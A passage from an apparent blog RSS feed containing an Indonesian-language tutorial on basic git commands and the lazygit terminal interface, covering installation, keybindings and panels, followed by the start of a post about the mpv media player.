window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;checkout&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-b&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;nama-branch&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;add new local branch using git branch &amp;amp;#x26; git checkout&quot; loading=&quot;lazy&quot; width=&quot;592&quot; height=&quot;342&quot; src=&quot;/_astro/ss12.By4MVzLB_ZBYRk6.webp&quot; /&gt;&lt;figcaption&gt;add new local branch using git branch &amp;amp; git checkout&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Jika kita ingin agar branch tersebut juga ada di remote repository (Github), gunakan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;push&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-u&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;origin&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;nama-branch&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;pushing new local branch to become new remote branch&quot; loading=&quot;lazy&quot; width=&quot;1224&quot; height=&quot;497&quot; src=&quot;/_astro/ss13.CYw3NVZi_Z1NUJNk.webp&quot; /&gt;&lt;figcaption&gt;pushing new local branch to become new remote branch&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Menghapus branch juga semudah membuatnya, tergantung branch local atau remote yang ingin dihapus.&lt;/p&gt;&lt;p&gt;Berikut adalah perintah untuk menghapus branch local:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;branch&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-d&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;nama-branch&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;deleting local branch&quot; loading=&quot;lazy&quot; width=&quot;355&quot; height=&quot;423&quot; src=&quot;/_astro/ss14.B2IorsHM_Zf7ACO.webp&quot; /&gt;&lt;figcaption&gt;deleting local branch&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Berikut adalah perintah untuk menghapus branch remote:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;push&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;origin&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--delete&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;nama-branch&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;deleting remote branch&quot; loading=&quot;lazy&quot; width=&quot;366&quot; height=&quot;395&quot; src=&quot;/_astro/ss15.DHTsbMGq_Z12Nv2o.webp&quot; /&gt;&lt;figcaption&gt;deleting remote branch&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;5. &lt;code&gt;git status&lt;/code&gt;&lt;a href=&quot;#5-git-status&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;code&gt;git status&lt;/code&gt; adalah perintah yang sederhana, tapi cukup informatif. Dengan perintah ini, kita dapat mengetahui apakah ada perubahan di direktori/folder proyek &lt;code&gt;git&lt;/code&gt; kita. Bahkan perpindahan file dari “working directory” ke “staging area”, misalnya, juga dapat dilihat via:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;status&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;git status&quot; loading=&quot;lazy&quot; width=&quot;555&quot; height=&quot;644&quot; src=&quot;/_astro/ss16.Dcu862DY_Z2hK37e.webp&quot; /&gt;&lt;figcaption&gt;git status&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat pada gambar, setelah saya menambahkan “teks tambahan” ke “file3.txt”, &lt;code&gt;git status&lt;/code&gt; mendeteksi adanya perubahan tersebut. Begitupula ketika saya menambahkan “file3.txt” ke “staging area”, &lt;code&gt;git status&lt;/code&gt; juga mendeteksi perubahan tersebut.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;What is Lazygit?&lt;a href=&quot;#what-is-lazygit&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Baiklah, sekarang, kita akan berpindah ke &lt;code&gt;lazygit&lt;/code&gt;. Pertanyaan awalnya selalu tentang “apa”, “apa itu &lt;code&gt;lazygit&lt;/code&gt;”? Sederhana sekali, &lt;code&gt;lazygit&lt;/code&gt; adalah &lt;strong&gt;“a simple terminal UI for git commands”&lt;/strong&gt;. Ya, jadi, bisa dibilang, &lt;code&gt;lazygit&lt;/code&gt; adalah program &lt;em&gt;open source&lt;/em&gt; berbasis terminal yang dirancang sebagai UI alias &lt;em&gt;user interface&lt;/em&gt; dari perintah-perintah &lt;code&gt;git&lt;/code&gt; yang baru saja kita pelajari di atas.&lt;/p&gt;&lt;p&gt;Repository-nya dapat ditemukan di Github:&lt;/p&gt;&lt;a href=&quot;https://github.com/jesseduffield/lazygit&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;jesseduffield&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;lazygit&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;Atau website official &lt;code&gt;lazygit&lt;/code&gt; di: &lt;a href=&quot;https://lazygit.dev/&quot; target=&quot;_blank&quot;&gt;https://lazygit.dev/&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Apa tujuan dibuatnya &lt;code&gt;lazygit&lt;/code&gt;? Apa bedanya &lt;code&gt;lazygit&lt;/code&gt; dengan &lt;code&gt;git&lt;/code&gt; biasa?&lt;/p&gt;&lt;p&gt;Secara fungsi, sebetulnya sama. Bedanya, &lt;code&gt;lazygit&lt;/code&gt; dibuat untuk lebih memudahkan para pengguna &lt;code&gt;git&lt;/code&gt; dalam menggunakan &lt;code&gt;git&lt;/code&gt;, sebab, mereka tidak perlu lagi menuliskan perintah-perintah (yang banyak tersebut) berulang kali sehingga proses pengelolaan file via &lt;code&gt;git&lt;/code&gt; menjadi lebih efisien.&lt;/p&gt;&lt;p&gt;Kenapa bisa lebih efisien? Karena lazygit tidak mengharuskan penggunanya “menghafal” perintah-perintah git, tapi cukup hanya dengan beberapa &lt;em&gt;shortcut&lt;/em&gt; (atau &lt;em&gt;keybinding&lt;/em&gt;) saja, maka berbagai perintah &lt;code&gt;git&lt;/code&gt; tersebut dapat dieksekusi dengan cepat (tentu juga harus diimbangi dengan pemahaman pada konsep &lt;code&gt;git&lt;/code&gt;.)&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Installation&lt;a href=&quot;#installation-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikut adalah cara meng-&lt;em&gt;install&lt;/em&gt; &lt;code&gt;lazygit&lt;/code&gt; di beberapa sistem operasi Linux:&lt;/p&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install lazygit&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy lazygit&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install lazygit&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install lazygit&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;lazygit&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;lazygit&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;&lt;code&gt;lazygit&lt;/code&gt; UI&lt;a href=&quot;#lazygit-ui&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Mari kita lihat langsung tampilannya:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;lazygit&quot; loading=&quot;lazy&quot; width=&quot;713&quot; height=&quot;467&quot; src=&quot;/_astro/ss17.BlPP7JER_Z1nYHTD.webp&quot; /&gt;&lt;figcaption&gt;lazygit&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat, ada 7 area di sana:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Area nomor 1: menampilkan informasi posisi &lt;em&gt;repository&lt;/em&gt; kita saat ini.&lt;/li&gt;
&lt;li&gt;Area nomor 2: menampilkan informasi tentang perubahan file-file.&lt;/li&gt;
&lt;li&gt;Area nomor 3: menampilkan informasi tentang local branch.&lt;/li&gt;
&lt;li&gt;Area nomor 4: menampilkan informasi tentang &lt;em&gt;commit&lt;/em&gt; yang pernah dilakukan.&lt;/li&gt;
&lt;li&gt;Area nomor 5: menampilkan informasi tentang &lt;em&gt;stash&lt;/em&gt; yang pernah dilakukan.&lt;/li&gt;
&lt;li&gt;Area utama (yang paling besar): menampilkan informasi dari branch, file, commit, dan stash.&lt;/li&gt;
&lt;li&gt;Area log (di bawah area utama): menampilkan informasi tentang log.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Kita akan melihat langsung cara menggunakan &lt;code&gt;lazygit&lt;/code&gt; di bawah ini.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;How to Use It?&lt;a href=&quot;#how-to-use-it&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Tutorial &lt;code&gt;lazygit&lt;/code&gt; sebetulnya sudah disediakan langsung oleh pembuat &lt;code&gt;lazygit&lt;/code&gt; langsung, &lt;strong&gt;Jesse Duffield&lt;/strong&gt; di Youtube:&lt;/p&gt;
&lt;p&gt;Hanya saja, mungkin terlalu kompleks. Lagipula, bisa jadi tidak semua fitur dan &lt;em&gt;shortcut&lt;/em&gt; (atau &lt;em&gt;keybinding&lt;/em&gt;)-nya kalian perlukan saat ini. Semua tergantung keperluan. Tapi, mari saya buat lebih sederhana. Saya hanya akan mempraktikkan cara menggunakan &lt;code&gt;lazygit&lt;/code&gt; berdasarkan apa yang memang sudah biasa saya lakukan.&lt;/p&gt;&lt;p&gt;&lt;em&gt;So, let’s get into it&lt;/em&gt;…&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Sebagai catatan&lt;/strong&gt;, &lt;code&gt;lazygit&lt;/code&gt; sampai versi terbaru yang saya gunakan hari ini, belum bisa melakukan &lt;em&gt;cloning&lt;/em&gt; repo (&lt;code&gt;git clone&lt;/code&gt;).&lt;/p&gt;&lt;/blockquote&gt;&lt;section&gt;&lt;h4&gt;1. &lt;code&gt;git add&lt;/code&gt;, &lt;code&gt;git commit&lt;/code&gt;, &lt;code&gt;git push&lt;/code&gt;&lt;a href=&quot;#1-git-add-git-commit-git-push&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Langsung saja, karena operasi git di &lt;code&gt;lazygit&lt;/code&gt; akan lebih banyak menggunakan &lt;em&gt;shortcut&lt;/em&gt; (alias &lt;em&gt;keybinding&lt;/em&gt;) daripada mengetikkan perintah, berikut adalah keybinding untuk &lt;code&gt;git add&lt;/code&gt;, &lt;code&gt;git commit&lt;/code&gt;, dan &lt;code&gt;git push&lt;/code&gt;. &lt;sup&gt;&lt;a href=&quot;#user-content-fn-6&quot;&gt;6&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;




















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Keybinding&lt;/th&gt;&lt;th&gt;Deskripsi&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&amp;lt;&amp;gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;git add&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;c&lt;/td&gt;&lt;td&gt;&lt;code&gt;git commit&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;P&lt;/td&gt;&lt;td&gt;git push&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Perhatikan!&lt;/strong&gt; Case-sensitive!&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Perhatikan bahwa ketika file masih di “working directory”, status file-nya berwarna merah, begitu masuk “staging area”, berubah jadi hijau, dan kalau sudah di-&lt;em&gt;commit&lt;/em&gt;, maka statusnya akan hilang dari sub-tab ke-2, dan jika sudah berhasil di-&lt;em&gt;push&lt;/em&gt; ke “remote repository”, maka status di sub-tab ke-3 juga akan kembali menjadi ceklis.&lt;/p&gt;&lt;p&gt;Perhatikan juga bahwa ketika sedang proses &lt;em&gt;push&lt;/em&gt; ke “remote repository”, status di sub-tab ke-3 juga akan memberikan indikasi sedang melakukan &lt;em&gt;push&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;Kita juga bisa melihat &lt;em&gt;history&lt;/em&gt; &lt;em&gt;commit&lt;/em&gt;-nya di sub-tab ke-4.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;lazygit&quot; loading=&quot;lazy&quot; width=&quot;711&quot; height=&quot;466&quot; src=&quot;/_astro/ss18.BUIcMxF1_17hVT8.webp&quot; /&gt;&lt;figcaption&gt;lazygit&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;2. &lt;code&gt;git pull&lt;/code&gt;&lt;a href=&quot;#2-git-pull&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Untuk menarik atau mengambil perubahan yang terjadi di “remote server” dan menggabungkannya langsung ke “working directory”, &lt;em&gt;keybinding&lt;/em&gt;-nya adalah sebagai berikut:&lt;/p&gt;












&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Keybinding&lt;/th&gt;&lt;th&gt;Deskripsi&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;p&lt;/td&gt;&lt;td&gt;&lt;code&gt;git pull&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Perhatikan!&lt;/strong&gt; Case-sensitive!&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Perhatikan bahwa ketika sedang proses &lt;em&gt;pull&lt;/em&gt; dari “remote repository” ke “working directory”, status di sub-tab ke-3 juga akan memberikan indikasi sedang melakukan &lt;em&gt;pull&lt;/em&gt;.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;3. &lt;code&gt;git branch&lt;/code&gt;&lt;a href=&quot;#3-git-branch&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita juga bisa melihat branch (terutama local branch) apa saja yang terdapat di proyek &lt;code&gt;git&lt;/code&gt; kita di sub-tab ke-3.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;git branch&quot; loading=&quot;lazy&quot; width=&quot;666&quot; height=&quot;466&quot; src=&quot;/_astro/ss19.Cn9wqzez_sVYPY.webp&quot; /&gt;&lt;figcaption&gt;git branch&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat, selain branch “main”, kita juga punya “localbranch1”, “localbranch2”, dan “localbranch3”.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;4. &lt;code&gt;git status&lt;/code&gt;&lt;a href=&quot;#4-git-status&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;code&gt;git status&lt;/code&gt; adalah yang paling mudah dilihat, karena sebetulnya langsung tampak di bagian utama &lt;code&gt;lazygit&lt;/code&gt; (area yang paling besar).&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;status&quot; loading=&quot;lazy&quot; width=&quot;665&quot; height=&quot;463&quot; src=&quot;/_astro/ss20.DiAsm8qb_15MNP8.webp&quot; /&gt;&lt;figcaption&gt;status&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat, jika ada perubahan, maka area utama &lt;code&gt;lazygit&lt;/code&gt; akan memberikan informasi perubahan tersebut, sama seperti &lt;code&gt;git status&lt;/code&gt;. Bahkan, lebih detail karena menampilkan juga perubahan apa yang ditambahkan/dikurangi.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://git-scm.com/&quot; target=&quot;_blank&quot;&gt;https://git-scm.com/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.w3schools.com../images/git/git_intro.asp?remote=github&quot; target=&quot;_blank&quot;&gt;https://www.w3schools.com../images/git/git_intro.asp?remote=github&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.codepolitan.com/blog/apa-itu-git-panduan-lengkap-untuk-pemula-pengertian-fungsi-dan-cara-kerjanya/&quot; target=&quot;_blank&quot;&gt;https://www.codepolitan.com/blog/apa-itu-git-panduan-lengkap-untuk-pemula-pengertian-fungsi-dan-cara-kerjanya/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3-2&quot;&gt;↩&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://bytebytego.com/guides/how-does-git-work/&quot; target=&quot;_blank&quot;&gt;https://bytebytego.com/guides/how-does-git-work/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-4&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://dev.to/nopenoshishi/understanding-git-through-images-4an1&quot; target=&quot;_blank&quot;&gt;https://dev.to/nopenoshishi/understanding-git-through-images-4an1&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-5&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://bandithijo.dev/blog/lazygit-terminal-user-interface-untuk-git&quot; target=&quot;_blank&quot;&gt;https://bandithijo.dev/blog/lazygit-terminal-user-interface-untuk-git&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-6&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>MPV: A Free, Open Source, and Cross-platform Media Player.</title><link>https://shangdi.github.io/posts/tech/mpv/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/mpv/</guid><description>A tiny but powerful (and super useful of course) video (and music) player.</description><pubDate>Sat, 12 Jul 2025 03:49:32 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;A Glimpse of MPV&lt;a href=&quot;#a-glimpse-of-mpv&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;mpv&quot; loading=&quot;lazy&quot; width=&quot;964&quot; height=&quot;576&quot; src=&quot;/_astro/ss1.HdCakSkI_1gn3GN.webp&quot; /&gt;&lt;figcaption&gt;mpv&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Kita mungkin tidak asing dengan beberapa video player desktop seperti VLC dan GOM Player. Tapi, pernahkah kalian mendengar &lt;a href=&quot;https://mpv.io/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;“mpv”&lt;/strong&gt;&lt;/a&gt;? Media player ini sudah sejak lama menjadi media player favorit saya, karena beberapa alasan pribadi, misalnya:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;em&gt;&lt;strong&gt;Open source &amp;amp; Free&lt;/strong&gt;&lt;/em&gt;. Siapa yang tidak suka dengan produk yang gratis, bukan?&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;strong&gt;Cross-platform&lt;/strong&gt;&lt;/em&gt;. MPV dapat diunduh dan digunakan di banyak sistem operasi, seperti Linux, Windows, dan Mac, bahkan Android.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;strong&gt;CLI-based&lt;/strong&gt;&lt;/em&gt;. Karena berbasis &lt;em&gt;command-line&lt;/em&gt;, kita dapat menggunakannya di mode server (alias di &lt;a href=&quot;http://localhost:1313/tech/tty/&quot; target=&quot;_blank&quot;&gt;tty&lt;/a&gt;).&lt;/li&gt;
